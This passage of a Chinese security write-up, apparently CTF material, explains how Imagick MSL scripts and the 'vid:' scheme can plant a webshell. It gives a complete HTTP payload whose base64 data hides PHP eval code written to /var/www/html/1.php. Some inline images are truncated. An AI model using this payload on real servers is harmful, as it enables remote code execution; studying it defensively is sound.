<p>因此，通过使用该<code>vid:</code>方案，我们可以将临时文件与 MSL 内容一起包含进去，而不需要知道它的名称</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002850-c00e2066-78ff-1.png title><img src="data:image/png;base64,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
<p>意思是可以包含文件，但是不能知道名称的话我们就可以使用vid协议去解决</p>
<h2 id=toc-5>webshell构造</h2>
<p>根据上面的知识，我们可以思考一下应该如何构造webshell</p>
<p>首先我们需要能够控制临时文件的内容</p>
<p>而当我们使用msl脚本的时候，就可以写临时文件</p>
<p>不过我们知道只能写图片类型的文件小问题，因为我们只需要向图片里面加入我们的脏数据就好了</p>
<p>可以参考ciscn2022的backdoor的题目</p>
<p>其中构造了如下的脚本</p>
<div class=highlight><pre><span></span><span class=x>--------------------------c32aaddf3d8fd979</span>
<span class=x>Content-Disposition: form-data; name="swarm"; filename="swarm.msl"</span>
<span class=x>Content-Type: application/octet-stream</span>
<span class=cp>&lt;?</span><span class=nx>xml</span> <span class=nx>version</span><span class=o>=</span><span class=s2>"1.0"</span> <span class=nx>encoding</span><span class=o>=</span><span class=s2>"UTF-8"</span><span class=cp>?&gt;</span><span class=x></span>
<span class=x>&lt;image&gt;</span>
<span class=x> &lt;read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" /&gt;</span>
<span class=x> &lt;write filename="/tmp/sess_afkl" /&gt;</span>
<span class=x>&lt;/image&gt;</span>
<span class=x>--------------------------c32aaddf3d8fd979--</span>
</pre></div>
<p>data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAA</p>
<ul>
<li>该字符串的开头部分 <code>data:image/x-portable-anymap;base64,</code> 表示这是一种特定格式的图像（PCX 格式）。而后面的内容是图像的 Base64 编码数据，这种数据经过编码以便嵌入和传输。</li>
</ul>
<p>然后使用write标签写文件，这里</p>
<p>我们写入文件到html目录下</p>
<p>稍微修改上面的脚本</p>
<p>这里我就不修改文件内容了，解码出来就是</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002930-d80461f8-78ff-1.png><img src="data:image/png;base64,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
<p>因为文件头检验有点麻烦</p>
<p>只需要包含我们的恶意内容就ok了</p>
<p>因为脚本加载的时候会产生一个内容可以控制的临时文件，然后我们可以去包含它，使用msl脚本去加载内容，因为write标签就会把我们的内容写到指定的目录</p>
<p>payload如下</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/?</span><span class=n>a</span><span class=o>=</span><span class=n>Imagick</span><span class=o>&amp;</span><span class=n>b</span><span class=o>=</span><span class=n>vid</span><span class=o>:</span><span class=n>msl</span><span class=o>:/</span><span class=n>tmp</span><span class=o>/</span><span class=n>php</span><span class=o>*</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=nl>Host:</span> <span class=mf>192.168.177.146</span><span class=o>:</span><span class=mi>8080</span>
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=o>:</span> <span class=mi>1</span>
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=o>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=o>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=o>;</span> <span class=n>Win64</span><span class=o>;</span> <span class=n>x64</span><span class=o>)</span> <span class=n>AppleWebKit</span><span class=o>/</span><span class=mf>537.36</span> <span class=o>(</span><span class=n>KHTML</span><span class=o>,</span> <span class=n>like</span> <span class=n>Gecko</span><span class=o>)</span> <span class=n>Chrome</span><span class=o>/</span><span class=mf>128.0.0.0</span> <span class=n>Safari</span><span class=o>/</span><span class=mf>537.36</span>
<span class=nl>Accept:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=o>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=o>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=o>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=o>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=o>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=o>,</span><span class=n>image</span><span class=o>/</span><span class=n>apng</span><span class=o>,*/*;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=o>,</span><span class=n>application</span><span class=o>/</span><span class=n>signed</span><span class=o>-</span><span class=n>exchange</span><span class=o>;</span><span class=n>v</span><span class=o>=</span><span class=n>b3</span><span class=o>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=o>:</span> <span class=n>gzip</span><span class=o>,</span> <span class=n>deflate</span><span class=o>,</span> <span class=n>br</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=o>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=o>,</span><span class=n>zh</span><span class=o>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span>
<span class=nl>Connection:</span> <span class=n>keep</span><span class=o>-</span><span class=n>alive</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=o>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=o>;</span> <span class=n>boundary</span><span class=o>=------------------------</span><span class=n>c32aaddf3d8fd979</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=o>:</span> <span class=mi>710</span>
<span class=o>--------------------------</span><span class=n>c32aaddf3d8fd979</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=o>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=o>;</span> <span class=n>name</span><span class=o>=</span><span class=s>"swarm"</span><span class=o>;</span> <span class=n>filename</span><span class=o>=</span><span class=s>"swarm.msl"</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=o>:</span> <span class=n>application</span><span class=o>/</span><span class=n>octet</span><span class=o>-</span><span class=n>stream</span>
<span class=o>&lt;?</span><span class=n>xml</span> <span class=n>version</span><span class=o>=</span><span class=s>"1.0"</span> <span class=n>encoding</span><span class=o>=</span><span class=s>"UTF-8"</span><span class=o>?&gt;</span>
<span class=o>&lt;</span><span class=n>image</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>read</span> <span class=n>filename</span><span class=o>=</span><span class=s>"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30="</span> <span class=o>/&gt;</span>
<span class=o>&lt;</span><span class=n>write</span> <span class=n>filename</span><span class=o>=</span><span class=s>"/var/www/html/1.php"</span> <span class=o>/&gt;</span>
<span class=o>&lt;/</span><span class=n>image</span><span class=o>&gt;</span>
<span class=o>--------------------------</span><span class=n>c32aaddf3d8fd979</span><span class=o>--</span>
</pre></div>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002938-dcb56b8e-78ff-1.png><img src="data:image/png;base64,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